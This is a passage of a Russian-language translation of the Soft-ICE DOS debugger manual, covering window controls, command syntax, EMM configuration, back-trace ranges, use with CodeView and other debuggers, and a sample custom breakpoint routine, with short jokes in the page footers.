Вы можете изменять как ширину, так и высоту окна Soft-ICE. Изменение размера окна особенно полезно в автономном режиме, когда на экран выводится память с кодом программы.

Высота окна может изменяться от 8 до 25 строк. Для изменения высоты окна используйте следующие комбинации клавиш:

ALT + стрелка вверх -- увеличивает высоту окна
ALT + стрелка вниз -- уменьшает высоту окна

Для изменения ширины окна, используйте команду WIN (см. часть 5.9). Ввод WIN без параметров переключает следующие два режима:

режим WIDE - полная ширина экрана
режим NARROW - ширина 46 символов

Некоторые команды (то есть D, E, R, U) используют преимущество большой ширины для вывода большего количества информации, когда окно находится в режиме WIDE.

3.5 Перемещение Окна

Окно Soft-ICE подвижно и может быть помещено куда угодно на экране. Это особенно полезно, когда окно находится в режиме NARROW. Перемещайте окно в любое время, когда вам нужно видеть информацию на экране за окном. Следующие комбинации клавиш перемещают окно:

CTRL стрелка вверх -- на строку вверх
CTRL стрелка вниз -- на строку вниз
CTRL стрелка вправо -- на одну позицию вправо
CTRL стрелка влево -- на одну позицию влево

3.6 Клавиши Редактирования

Простой в использовании строковый редактор Soft-ICE позволяет повторно вызы- вать и редактировать предыдущие команды. Функции строкового редактора подобны функциям популярного редактора CED.

Следующие комбинации клавиш помогают при редактировании команд в окне команд:

стрелка вправо -- перемещает курсор вправо
стрелка влево -- перемещает курсор влево
INS -- переключает режим вставки
DEL -- удаляет текущий символ
HOME -- перемещает курсор в начало строки
END -- перемещает курсор в конец строки
стрелка вверх -- выводит предыдущую команду
стрелка вниз -- выводит следующую команду
SHIFT стрелка вверх -- прокрутка на одну строку вверх
SHIFT стрелка вниз -- прокрутка на одну строку вниз
PAGE UP -- прокрутка на одну страницу вверх
PAGE DN -- прокрутка на одну страницу вниз
BKSP -- удаляет предыдущий символ
ESC -- отменяет текущую команду

Есть специальные назначения клавиш, когда курсор находится в окне данных или окне кода. Они описаны в частях для команд E и EC соответственно. Одно из таких специальных назначений - SHIFT  и SHIFT , когда курсор находится в окне кода. Эти клавиши переназначаются так, что они выполняют функции, которые обычно выполняют клавиши  и . Таким образом вы можете повторно вызывать предыдущие команды, когда курсор находится в окне кода.

3.7 Диалоговая Строка Состояния

Строка состояния в нижней части окна обеспечивает диалоговую помощь по синтаксису команд.

3.8 Синтаксис Команд

Soft-ICE - отладочный инструмент с командным управлением. Для взаимодействия с Soft-ICE вы вводите команды, которые могут изменяться при помощи параметров.

Все команды - текстовые строки, длиной от одного до шести символов, нечувстви- тельные к регистру букв. Все параметры являются ASCII-строками или выражениями.

Выражения - обычно числа, но могут также быть комбинациями чисел и операторов (например, + - / *). Все числа выводятся в шестнадцатеричном формате. Параметры типа byte - 2 цифры длиной, параметры типа word - 4 и параметры типа double word - 2 параметра типа word, разделенные двоеточием (:). Вот несколько примеров параметров:

12 -- параметр типа byte
10FF -- параметр типа word
E000:0100 -- параметр типа double word

Вместо байтов или слов в выражении могут использоваться регистры. Например, команда " U CS:IP-10 " начнет дизассемблирование инструкций с адреса, находя- щегося за десять байт до текущего адреса в указателе команд. В выражениях могут использоваться следующие названия регистров:

AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS или FL

3.8.1 Определение Адресов Памяти

Много команд Soft-ICE требуют в качестве параметров адреса памяти. Адрес памяти - это значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента.

В любой команде Soft-ICE вместо адреса могут использоваться публичные символы. Публичные символы могут быть загружены в Soft-ICE загрузчиком программ (LDR.EXE). См. главу 7 (Символы и Исходный текст) для получения полного описа- ния использования публичных имен.

Интерпретатор выражений Soft-ICE распознает несколько специальных символов в объединении с адресами. Это следующие специальные символы:

$ -- Текущий CS:IP.
@адрес -- указатель типа double word
.число -- номер строки в исходном тексте

Символ $ может использоваться вместо CS:IP при вводе текущего адреса указателя команд.

Символ @ позволяет вам обращаться к двойному слову, на которое указывает адрес. Вы можете использовать несколько уровней @.

Если символ . предшествует адресу, адрес будет интерпретироваться как номер строки в текущем исходном файле, а не как фактический адрес. Это имеет силу, только когда загружены исходные файлы. В этом случае адрес интерпретируется как десятичное число.

Примеры:


 U.1234
 

Эта команда начинает дизассемблирование инструкций в строке 1234(десятич.) исходного текста.


 U $-10
 

Эта команда дизассемблирует инструкции, начинающиеся за 10 байт до текущего адреса в указателе команд.


 G @SS:SP
 

Предполагает, что вы - на первой инструкции обработчика прерывания. Ввод этой команды установит временную точку останова на адрес возврата в стеке и пропускает подпрограмму обработчика прерывания.

3.9 Функциональные Клавиши

Функциональные клавиши могут назначаться на выполнение любой командной строки, которая может быть введена в Soft-ICE. Их можно переназначать из командной строки или заранее путем их определения в файле S-ICE.DAT.

По умолчанию S-ICE.DAT, поставляемый на дистрибутивной дискете, содержит определения для всех 12 функциональных клавиш. Вы можете изменять любое из этих определений в любое время. Они присутствуют в качестве примера, но они предназначены для облегчения работы пользователей Microsoft CodeView, по умол- чанию работают следующие назначения:

F1 -- Выводит общую помощь (H;)
F2 -- Включает окно регистров (^WR;)
F3 -- Изменяет текущий режим работы с исходным текстом (^SRC;)
F4 -- Восстанавливает экран (^RS;)
F5 -- Возвращается в вашу программу (^X;)
F6 -- Переключает курсор между окном команд и окном кода (^EC;)
F7 -- Прогоняет программу до текущей позиции курсора (^HERE;)
F8 -- Выполняет одиночную инструкцию (^T;)
F9 -- Устанавливает точку останова в текущей позиции курсора (^BPX;)




Руководство по Soft-ICE (DOS) - 20

Программистское народное ругательство: motherhacker!

8.2.2 Настройка Карты Страниц EMM

Для конфигурирования карты EMM вы должны использовать утилиту EMMSETUP.EXE. EMMSETUP.EXE позволяет изменять карту страниц, а затем модифицирует S-ICE.EXE с учетом изменений. EMMSETUP работает наиболее эффективно при автоматической настройке карты EMM. EMMSETUP, при работе с видеокартами и ПЗУ, попробует заполнить отображаемыми страницами столько адресного пространства, сколько возможно. Если результат недостаточно хорош или не по вашему вкусу, вы можете его изменить. Изменение может быть необходимо, если у вас есть сеть, специальный видеоадаптер или адаптер операций с отображаемой памятью. Для конфигурирования карты EMM введите:


 EMMSETUP
 

EMMSETUP показывает матрицу страниц памяти по 16КБ, доступных в нижней области в 1 мегабайт. Матрица разделена на 16 колонок, представляющих каждая 64КБ (от 0 до 10000H). 4 строки представляют четыре страницы по 16КБ в каждой 64-килобайтовой области.

Каждая ячейка матрицы может содержать E, X, R или V. Ячейки, содержащие E, доступны как страницы EMM; блоки, содержащие X - нет. Ячейки, содержащие R - области памяти, которые были идентифицированы EMMSETUP как области ПЗУ. Вы, при необходимости, можете изменить эти области на E, но это допустимо, только если к ПЗУ нет обращений. Ячейки, содержащие V идентифицированы как видеопамять. Мы сделали наихудшее предположение о видеопамяти. Ваша конкретная видеокарта может не использовать столько, сколько мы "предположили". При необходимости вы можете изменить блоки памяти, которые содержат ненужные V.

Если вы удовлетворены предположениями EMMSETUP'а, нажмите клавишу F10 и S-ICE.EXE будет изменен с этими параметрами. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться. Если вы хотите изменить предположения EMMSETUP'а, сделайте это в то же самое время.

8.2.2.1 Включение и Исключение Областей из EMM

Чтобы включить область в память EMM 4.0 просто поместите курсор на желаемую ячейку, затем введите E. Наоборот, чтобы исключить область из памяти EMM 4.0, поместите курсор на ячейку и введите X. Когда вы будете удовлетворены вашими изменениями, нажмите F10 для выхода из программы. Все изменения автоматически сохраняются в файле S-ICE.EXE. Если вы хотите выйти без изменения S-ICE.EXE, нажмите ESC. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться.

Включая верхние блоки памяти, имейте в виду следующее:

* CGA занимает от B800H до C000H.
* MDA занимает от B000H до B100H.
* Большинство карт Hercules занимает от B000 до C000H.
* EGA занимает от A000H до C000H и от C000H до C400H.
* VGA (на материнской плате) занимает от A000H до C000H.
* VGA (съемная карта) занимает от A000H до C000H и от C000H до C800H.
* Системное ПЗУ PS/2 занимает от E000H до 10000H.
* ПЗУ PS/2 ESDI занимает от CC00H до D000H
* Большинство AT-совместимых ПЗУ занимают от F000H до 10000H.
* Compaq-системы, системы с системными платами Micronix и большинство систем с платами Chips and Technologies перемещают ПЗУ EGA/VGA в E000H Однако они все равно так же занимают и область C000H.
* Сети Token Ring обычно занимают от CC00H до E000H.
* Многие сети занимают области памяти в области D000H. Вышеупомянутые руководящие принципы - для "фирменных" устройств. Многие исполнения от различных продавцов компьютеров и продавцов карт адаптеров будут варьировать.

8.3 Другие Возможности EMM

У S-ICE.EXE с переключателем /EMM есть две возможности, которые автоматически активизируются в зависимости от конфигурации вашей системы. Эти возможности - наращивание и перемещение страниц.

8.3.1 Увеличение Обычной Памяти

Память системы будет автоматически наращена до первой неотображаемой страницы. Это означает, что начинается поиск цепочки 'E' с ячейки 1000 и продолжается, пока не будет найден первый несмежный 'E'. Если цепочка смежных 'E' выйдет за границы основной памяти вашей системы, память будет наращена до первого R, V или X, который будет найден.

Выгода наращивания - в том, что вы можете увеличивать объем используемой памяти системы до большего, чем 640КБ. Наращенная память доступна из DOS. Если вам не нужна наращенная память, используйте EMMSETUP, чтобы сделать страницу неотображаемой (X) в точке, где вы хотите, чтобы память системы заканчивалась.

Заметьте:

Монохромные системы (MDA) можно наращивать вплоть до B000H, чтобы добавить дополнительные 64КБ к обычной памяти. CGA-системы могут быть наращены вплоть до B800, добавляя дополнительные 96КБ к обычной памяти. EGA и VGA-системы могут быть наращены, только если не будут запускаться графические программы. Вы можете наращивать EGA или VGA-системы вплоть до B800:0, если не будут запускаться никакие графические программы.

Предупреждение:

Если память - наращена, НЕ ВЫГРУЖАЙТЕ Soft-ICE. Это вызовет разрушение системы.

8.3.2 Автоматическое Определение Страниц

Большинство знакомых с EMM программ требуют 64КБ-страницу, не используемую как нормальная память DOS. Она обычно расположена выше области видео- устройства. Однако в некоторых системах нет непрерывной области в 64K для размещения страницы. В этих случаях S-ICE.EXE "крадет" 4 верхние отображаемые страницы нижней памяти. Как результат - нижняя память DOS урезается на 64КБ.

8.4 EMM-Отладка

Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается.

При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации.

Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего:

* В командах D, E, S и F адресная часть команды должна быть указана следующим образом: Hуказатель# Pстраница# смещение где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:


 DB H1 P3 0
 

Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0.

* Команда C должна быть указана следующим образом:

C Hуказатель# Pстраница# смещение1 Lдлина смещение2 где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:


 C H2 P4 00 L10 1000
 

Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:


 D 0:0
 

ГЛАВА 9

9.1 Введение

Soft-ICE может собирать информацию об инструкциях в буфер истории обратной трассировки во время выполнения вашей программы. Затем, после возникновения ошибки, эти инструкции можно просмотреть. Это позволяет вам вернуться назад и повторно пройти программу, чтобы определить фактический поток инструкций, предшествующих точке останова.

Информация об инструкциях собирается при входе в указанный диапазон адресов, меньший системного. Диапазоны могут быть от 1 байта до 1 мегабайта, так что если нужно, может быть получена полная системная информация. Использование определенных диапазонов вместо сбора всех инструкций полезно по двум причинам:

1. Буфер истории обратной трассировки не забивается посторонней информацией, которая вас не интересует. Например, вам может быть неинтересна обработка прерываний и выполнение в пределах MS DOS.
2. Диапазоны обратной трассировки снижают производительность системы, когда они активны. Ограничивая диапазон до интересующей вас области, вы можете намного увеличить производительность системы.

У Soft-ICE есть два метода использования инструкций в буфере истории обратной трассировки:

1. Команда SHOW позволяет вам просматривать инструкции из буфера истории обратной трассировки. Вы должны указать, на сколько инструкций в буфере вы хотите вернуться.
2. Команда TRACE позволяет вам вернуться и заново проиграть инструкции из буфера истории обратной трассировки. Таким образом вы может видеть исполнение инструкций в контексте окружения программного кода или исходного текста.

9.2 Использование Диапазонов Обратной Трассировки

Чтобы использовать диапазоны обратной трассировки, вы должны сделать следующее:

1. Зарезервировать буфер истории обратной трассировки желаемого размера, добавив переключатель /TRA в строку S-ICE.EXE в CONFIG.SYS. Например, чтобы создать буфер истории обратной трассировки в 100КБ, вы могли бы иметь следующую строку в вашем файле CONFIG.SYS: DEVICE = S-ICE.EXE /TRA 100 Буфер истории обратной трассировки в 10КБ зарезервирован по умолчанию. Если это подходит для ваших потребностей, вы можете не резервировать больший буфер. Размер буфера истории ограничен только количеством доступной расширенной памяти.
2. Активизировать диапазоны обратной трассировки, создав точку останова на диапазон памяти опцией T или TW. Например: BPR 1000:0 2000:0 T Опции T и TW не вызывают остановов, вместо этого они собирают информацию об инструкциях, которая затем может выводиться командами SHOW или TRACE.
3. Установить любые другие точки останова, если это желательно.
4. Выйти из Soft-ICE командой X.
5. После выполнения останова или если вы вызвали Soft-ICE горячей клавишей, вы можете просмотреть инструкции из буфера командой SHOW. Например, чтобы вернуться назад на 50 инструкций в буфере и вывести на экран инструкций, введите: SHOW 50
6. Чтобы повторно проиграть ряд инструкций, вы должны сначала войти в режим эмуляции трассировки командой TRACE. Чтобы начать повторно проигрывать последовательность инструкций, начиная за 50 команд в буфере, введите:


 TRACE 50
 

7. После того, как вы вошли в режим эмуляции трассировки, вы может проходить через последовательность инструкций, используя команды XT, XP или XG. Это позволяет вам повторно активизировать ход программы. Например, вы можете пошагово пройти последовательность инструкций в буфере, начинающейся с инструкции, указанной в командой TRACE, вводя:




Руководство по Soft-ICE (DOS) - 21

Смотрит геймер триллер. А там по тёмному коридору в страшном доме идёт девушка. Напряжение нарастает, играет тревожная музыка, и тут геймер не выдерживает:
- Save'ся, дура! Save'ся!!!


 XT
 XT
 .
 .
 .
 XT
 

Команда XT пошагово проходит через буфер истории обратной трассировки. Команда XP производит программные шаги через буфер истории обратной трассировки. Команда XG проходит программу до адреса в буфере истории обратной трассировки.
8. Чтобы выйти из режима эмуляции трассировки, введите:


 TRACE OFF
 

9. Для сброса буфера истории обратной трассировки, используйте команду X.

9.3 Специальные Примечания

В режиме эмуляции трассировки большинство команд Soft-ICE работает как обычно, включая вывод карты памяти и вывод и редактирование данных. Существующие исключения:

1. Информация о регистрах не сохраняется в буфере истории обратной трассировки, так что значения регистров не изменяются, когда вы трассируете буфер, кроме значений CS и IP.
2. Команды, которые обычно вызывают выход из Soft-ICE, не работают в режиме эмуляции трассировки. Это - X, T, P, G, EXIT.

Когда вы внимательно просматриваете инструкции из буфера истории обратной трассировки командами SHOW и TRACE, вы можете заметить странности в выполнении инструкций. Они вызваны скачками в и вовне указанного диапазона. Они обычно происходят при переходах, вызовах, возвратах и точках входа. Когда у вас проблема с зависанием или другая трудная ошибка, требующая диапазонов обратной трассировки, вы часто можете использовать очень большие диапазоны, чтобы захватить проблемную область. Как только вы получите лучшее представление об указанной проблемной области, вы перейдете к меньшим диапазонам.

Большие диапазоны обратной трассировки - очень медленные. Используя большие диапазоны, вы обычно пытаетесь получить общую идею о том, где проблема. У Soft-ICE есть специальный "ГРУБЫЙ" режим для обработки больших диапазонов. Это ускоряет диапазоны в три или больше раз, но ограничивает количество инструкций в буфере истории.

Грубый режим собирает только те инструкции, которые производят запись в память в пределах указанного диапазона. При повторном проходе инструкций в режиме эмуляции трассировки после "ГРУБОГО" диапазона вы заметите, что ход происходит скачками вместо последовательного выполнения инструкций.

Грубые диапазоны работают лучше всего для больших областей и менее эффективны для маленьких диапазонов.

Чтобы активизировать "ГРУБЫЙ" диапазон обратной трассировки, используйте команду BPR с опцией TW вместо опции T. Например:


 BPR 1000:0 2000:0 TW
 

Для дальнейшей информации о диапазонах обратной трассировки см. описания для команд:


 SHOW, TRACE, XT, XP, XG, XRSET, BPR
 

ГЛАВА 10

10.1 Введение

MagicCV позволяет вам выполнять Microsoft CodeView в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.

MagicCVW позволяет вам выполнять Microsoft CodeView для Windows в менее чем 8КБ стандартной памяти на вашей ЭВМ 80386.

Использование Soft-ICE в комбинации с MagicCV или MagicCVW позволяет вам иметь мощность Soft-ICE при удобстве использования знакомого вам продукта CodeView.

В оставшейся части этой главы, высказывания о MCV будут применимы как к MagicCV, так и к MagicCVW, и высказывания о CV будут применимы как к CodeView, так и к CodeView для Windows.

10.2 Запуск Soft-ICE с MagicCV или MagicCVW

Чтобы использовать Soft-ICE 2.0 и MCV вместе, вы должны установить S-ICE.EXE как загружаемый драйвер устройства. S-ICE.EXE поступает на дискете Soft-ICE. S-ICE.EXE заменяет NUMEGA.SYS в CONFIG.SYS. Используйте переключатели /MCV, /EMM и /EXT как при использовании только MagicCV или MagicCVW. Есть добавочные переключатели, которые вы можете захотеть использовать с Soft-ICE. Обратитесь к главе 6 для информации относительно этих переключателей.

Чтобы запустить MagicCV или MagicCVW, после того как Soft-ICE загружен, обратитесь к вашему руководству по MagicCV или MagicCVW.

Примечания:

MagicCVW требует Soft-ICE версии 2.00 или выше.

MagicCV требует Soft-ICE версии 1.02 или выше. Драйверы S-ICE.SYS и NUMEGA.SYS отправлялись с некоторыми версиями Soft-ICE. Драйверы S-ICE и NUMEGA

должны быть заменены S-ICE.EXE до того, как вы сможете запустить MagicCV и Soft-ICE 2.0 вместе.

10.3 Специальные Соображения

Две Виртуальные Машины

Когда вы используете вместе Soft-ICE и MCV, вы должны иметь в виду, что CV находится в отдельной виртуальной машине от целевого окружения. Вы можете вызвать Soft-ICE из любой виртуальной машины, т.е., когда выполняется CV или когда выполняется целевая программа.

Если вы вызываете Soft-ICE, когда выполняется целевая программа, все работает как определено в руководстве по Soft-ICE. Если вы вызываете Soft-ICE когда выполняется CV (обычно при выполнении останова), вы должны иметь в виду несколько моментов:

* Регистры являются регистрами CV и НЕ МОГУТ быть изменены.
* Для удобства, команда Soft-ICE, MAP отображает карту памяти виртуальной машины целевой программы, а не карту памяти виртуальной машины CV. Высвеченная область в карте памяти может быть неправильна.
* Любой вывод или модификация памяти происходит в виртуальной машине целевой программы.
* У вас нет никакой видимости в виртуальной машине CV кроме вывода значений регистров. Не забудьте, что при вызове окна Soft-ICE, когда активен CV, значения регистров являются значениями регистров CV и не должны изменяться.
* Когда активен CV, в окне Soft-ICE отключается покомандная и программная трассировка. Это - чтобы предотвратить беспорядок, потому что фактически трассироваться будет CV, а не целевая программа. Если вы попытаетесь выполнить команду Soft-ICE Шаг (T) или Программный Шаг (P) когда активен CV, вы получите предупреждающее сообщение: "Функция не доступна в виртуальной машине CV". Чтобы вместо этого трассировать код целевой программы, вы можете выполнить одну из двух операций:

* Использовать команду трассировки CV. Для этого выйдите из окна Soft-ICE, используя команду Soft-ICE X, затем сделайте один или более шагов CV, чтобы пройти через целевую программу.
* Использовать Soft-ICE, чтобы пройти до адреса целевой программы, затем использовать команды Soft-ICE T или P чтобы пройти через вашу целевую программу. Для этого выйдите из окна Soft-ICE командой Soft-ICE X, затем нажимайте клавишу 'F3' пока CV не перейдет в "смешанный режим". Это позволит вам видеть как исходные строки, так и адреса команд. Вызовите Soft-ICE. Если окно Soft-ICE - еще не в узком режиме, используйте команду Soft-ICE WIN, чтобы изменить размер окна. Переместите окно Soft-ICE так, чтобы вы могли видеть адреса команд в левой стороне экрана. Теперь вы можете использовать команду Soft-ICE G, чтобы перейти на один из адресов. Обязательно введите полный адрес, включая сегмент и смещение. Затем введите 'G' в окне CV. С этого момента, CV не активен, так что вы можете использовать команды Soft-ICE T или P для прохода через целевую программу.

Команда CodeView SHELL

Если вы выполняете временный выход в DOS из виртуальной машины CodeView, оболочка DOS - часть виртуальной машины. Из-за этого вы не должны запускать TSR'ы, когда вы находитесь в оболочке DOS. Если вы это сделаете, когда вы выйдете из CodeView, TSR исчезнет вместе с виртуальной машиной. Это - опасно, потому что любой невосстановленный вектор прерывания может вызвать зависание вашей ЭВМ.

Переключатель CV /R

Soft-ICE пользуется преимуществами многих возможностей 80386, включающих регистры отладки 80386. Это значит, что регистры отладки не доступны для CV, так что вы не можете использовать переключатель CV /R при запуске с Soft-ICE. Если вы используете переключатель /R, Soft-ICE выдаст вам общую ошибку защиты. В этот момент вы можете нажать 'C', чтобы продолжить, затем повторно запустить CV без переключателя /R и использовать точки останова Soft-ICE.

Переключатель CV /R работает, когда вы выполняете MCV без Soft-ICE.

10.4 Команда Soft-ICE ACTION

Команда ACTION предоставляет три различных метода активизации CV из точки останова Soft-ICE. Лучший выбор действия - ACTION NMI. Если вы испытываете проблемы с ACTION, установленным в NMI ( обычно потому что плата адаптера в вашей системе использует NMI ), используйте ACTION INT1.

РАЗДЕЛ IV - Дополнительные Темы

ГЛАВА 11

11.1 Использование Soft-ICE с другими Отладчиками

Soft-ICE разрабатывался, чтобы "сотрудничать" с другими отладчиками. Каждый отладчик предлагает разные возможности и, следовательно, требует специальной обработки. Этот раздел опишет способы эффективного использования отладчиков.

11.1.1 Отладчики, Использующие DOS

Много отладчиков используют DOS и ROM BIOS, чтобы выполнять их экранный и клавиатурный ввод/вывод. При использовании этих отладчиков с Soft-ICE (напр., DEBUG, SYMDEB и CODEVIEW) должны иметься ввиду определенные соображения, т.к. DOS и ROM BIOS не полностью реентерабельны. Если останов происходит во время исполнения кода DOS или BIOS, может возникнуть проблема повторной входимости.

Soft-ICE обеспечивает опциональное предупреждение о повторной входимости, активируемое командой WARN. Когда включен режим WARN, Soft-ICE проверяет DOS и ROM BIOS на повторную входимость до выполнения ACTION, активизирующего главный отладчик. Когда обнаружена проблема повторной входимости, Soft-ICE выводит предупреждающее сообщение и предлагает вам выбор : продолжить выполнение кода или вернуться в Soft-ICE.

Обратите внимание, что сам Soft-ICE не использует вызовы DOS или ROM BIOS в командах отладки. Это значит, что вы можете использовать Soft-ICE в любое время, не волнуясь о проблемах повторной входимости.

Для большей информации о команде WARN, см. часть 5.4.

11.1.2 Команда ACTION с другими Отладчиками

Различные отладчики используют разные методы активизации. Для описания этих методов см. часть 13.1.

Если вы хотите возвращаться к вашему отладчику после выполнения останова, вы должны изменить ACTION (см. раздел 5.4) для работы с вашим отладчиком.

В большинстве случаев действие, которое должно выполняться после останова, - INT3. Так DEBUG и SYMDEB будут работать лучше всего с ACTION, установленным на INT3.

Если INT3 не работает с вашим отладчиком, попробуйте INT1 или NMI. CODEVIEW работает лучше всего с ACTION, установленным на NMI.

11.1.3 Специальные Соображения

Когда установлена точка останова, вы должны быть осторожны, чтобы случайно ее не вызвать. Так, если вы установите точку останова в памяти в 0:0, затем используйте ваш отладчик для просмотра дампа памяти в 0:0, будет вызван Soft-ICE. Если ACTION установлено на вызов вашего отладчика, тогда ваш отладчик вызовет сам себя. Так как некоторые отладчики - нерентерабильны, это может быть фатальной проблемой. Эта проблема может также возникнуть с другими функциями отладки типа редактирования или дизассемблирования.




Руководство по Soft-ICE (DOS) - 22

Сидит мужик перед компьютером, в DOOM играет. Давно сидит, мастерство оттачивает. Тут сзади появляется дьявол и говорит:
- Я выполню любые твои три желания, но потом, сам понимашь, я тебя возьму в ад.
Мужик:
- IDDQD, IDKFA И В АД!!!!

По этой причине, хорошая практика - отключать точки останова Soft-ICE как только Soft-ICE поможет вам попасть в точку, где вы хотите осмотреться при помощи вашего отладчика.

11.1.4 Использование Soft-ICE с CODEVIEW

Soft-ICE лучше всего работает с CODEVIEW, когда CODEVIEW находится либо в режиме Ассемблера либо в Смешанном режиме. Когда CODEVIEW находится в режиме исходного текста с языками высокого уровня, он не всегда верно прерывается. Когда вы хотите, чтобы Soft-ICE вызывал CODEVIEW, лучше всего использовать ACTION NMI.

11.1.5 Отладчики, Использующие Регистры Точек Останова 80386

80386 имеет 4 регистра точек останова, которые доступны для использования отладчиками. Soft-ICE использует их для своих точек останова на память размером в байт, слово и двойное слово. Если отладчик, который вы используете с Soft-ICE, использует эти отладочные регистры, возникнет конфликт. Есть два способа решения этой проблемы.

1. Отключите использование регистров точек останова 80386 в отладчике, с которым вы используете Soft-ICE. Проверьте документацию другого вашего отладчика для получения описания того, как это сделать.
2. Некоторые отладчики автоматически используют регистры точек прерывания, если они обнаруживают процессор 80386 без методов их отключения (это делают некоторые версии SYMDEB). Для этих отладчиков сделайте следующее:

* Вызовите окно Soft-ICE прежде, чем вы запустите другой отладчик.
* Включите режим BREAK Soft-ICE'а командой BREAK (вы можете захотеть сделать это в выражении инициализации в S-ICE.DAT, если вы часто это делаете).
* Запустите ваш другой отладчик.
* При желании вы теперь можете вызвать окно Soft-ICE и отменить режим BREAK Soft-ICE.

11.2 Пользовательские Точки Останова

Время от времени вам может требоваться очень специфический набор условий точки останова. Если специальные условия требуют ввода значений регистров или памяти, вы можете написать подпрограмму спецификации точки останова.

Soft-ICE содержит очень общий механизм для вызова пользовательских подпрограмм спецификации точек останова: команду ACTION. При использовании команды ACTION, Soft-ICE может перенаправить все точка останова на специальный вектор прерывания. Однако, до перенаправления точки останова, в память должна быть помещена подпрограмма спецификации и вектор прерывания должен указывать на подпрограмму спецификации.

Все регистры идентичны значениям во время выполнения останова Soft-ICE. Сохранение и восстановление регистров лежит на ответственности подпрограммы спецификации. Если ваша подпрограмма спецификации обнаруживает соответствие условий точка останова, она может выполнить множество действий. Вот некоторые примеры полезных действий, которые подпрограмма может выполнить, когда обнаружено соответствие:

* сохранить информацию на будущее
* послать информацию прямо на принтер или последовательный терминал
* выполнить команду INT 3, чтобы вызвать Soft-ICE Команда I3HERE должна быть включена, чтобы INT 3 вызывал Soft-ICE (см. часть 5.4).

Если условия не выполняются, подпрограмма спецификации должна выполнить команду IRET. Подведем итог:

1. Создайте подпрограмму спецификации точки останова в вашей области кода или где-нибудь в свободной памяти. Подпрограмма должна сохранять регистры. После проверки желаемых условий, подпрограмма может выполнить либо INT 3, чтобы вызвать Soft-ICE, либо IRET, чтобы продолжить исполнение.
2. Направьте неиспользуемый вектор прерывания на вашу подпрограмму спецификации. Это может быть выполнено либо из вашего кода либо из Soft-ICE.
3. В Soft-ICE установите ACTION на номер-прерывания, который был использован, чтобы указывать на вашу подпрограмму спецификации.
4. В Soft-ICE установите I3HERE ON. Это необходимо, чтобы вызвать Soft-ICE после того, как были выполнены условия.
5. Установите общие условия точки останова Soft-ICE. Когда выполнится любое из этих условий точки останова, будет вызвана ваша подпрограмма спецификации.

11.2.1 Пример Пользовательской Точки Останова

Эта часть содержит пример пользовательской точки останова, которая проверяет условия AX = 3, BX = 4 и CX = 5, когда происходит выполнение точки останова.

Сначала мы создаем подпрограмму спецификации. Для целей этого примера, мы будем транслировать команды прямо в память при помощи интерактивного ассемблера Soft-ICE. Для этого примера мы будем произвольно транслировать подпрограмму с ячейки 9000:0H. В Soft-ICE, при этом, вводятся следующие выражения:


 A 9000:0
 9000:0 CMP AX,3
 9000:3 JNE 10
 9000:5 CMP BX,4
 9000:7 JNE 10
 9000:A CMP CX,5
 9000:D JNE 10
 9000:F INT3
 9000:10 IRET
 

Теперь, когда подпрограмма находится в памяти, вы должны направить на нее вектор прерывания. Для этого примера, мы произвольно выбираем INT 99H. Чтобы поместить 9000:0H в вектор INT 99H, введите:


 ED 0:99*4 9000:0
 

Установите команду ACTION, чтобы Soft-ICE вызывал вашу подпрограмму спецификации точки останова при каждом останове.


 ACTION 99
 

Установите I3HERE, чтобы подпрограмма спецификации активизировала Soft-ICE при выполнении условий.


 I3HERE ON
 

Теперь вы должны установить точки останова. Для этого примера, нас интересует только когда регистры: AX = 3, BX = 4, CX = 5 в специфической программе и нам не нужно никаких дальнейших уточнений. Чтобы это сделать, используйте точку останова на диапазон на чтение памяти:


 BPR сегмент:начальное-смещения сегмент:конечное-смещение
 

Это вызовет обращение к вашей подпрограмме спецификации точки останова после выполнения каждой команды в указанном диапазоне памяти. Когда условия по регистрам не выполняются, тогда выполняется команда IRET. Когда условия, наконец, будут соответствовать указанным выражениям, будет выполнен INT 3 и вызван Soft-ICE.

Когда вызван Soft-ICE, указатель команд будет указывать на INT3 в вашей подпрограмме спецификации (9000:FH в нашем примере). Чтобы попасть на инструкцию после той, которая вызвала останов, вы должны изменить указатель команд, чтобы он указывал на команду IRET (F000:10H в примере) и выполнить один шаг. Это выполняется при помощи следующих команд Soft-ICE


 RIP IP + 1
 T
 

После выполнения ваших условий останова, не забудьте изменить команду ACTION обратно на ACTION HERE, чтобы последующие точки останова не проходили через вашу подпрограмму спецификации.

11.3 Окно в Графическом Режиме

При вызове Soft-ICE экран переключается в текстовый режим. Если экран был в графическом режиме или режиме с 40 столбцами, графический дисплей не видим, то когда окно вызвано. Для пользователей, которые должны видеть графический дисплей при отладке, обеспечиваются три возможности. Первая возможность позволяет выводить окно Soft-ICE на второй монитор (см. команду ALTSCR, часть 5.9). Вторая возможность позволяет вам восстанавливать экран во время выполнения командных шагов P или T (см. команду FLASH, часть 5.9). Третья возможность позволяет вам временно восстанавливать экран программы (см. команду RS, часть 5.9).

Если не похоже, что Soft-ICE работает с вашей программой в графическом режиме, пробуйте включать WATCHV (для подробностей см. часть 5.9).

11.4 Возможности Отладки с Отображаемой Памятью

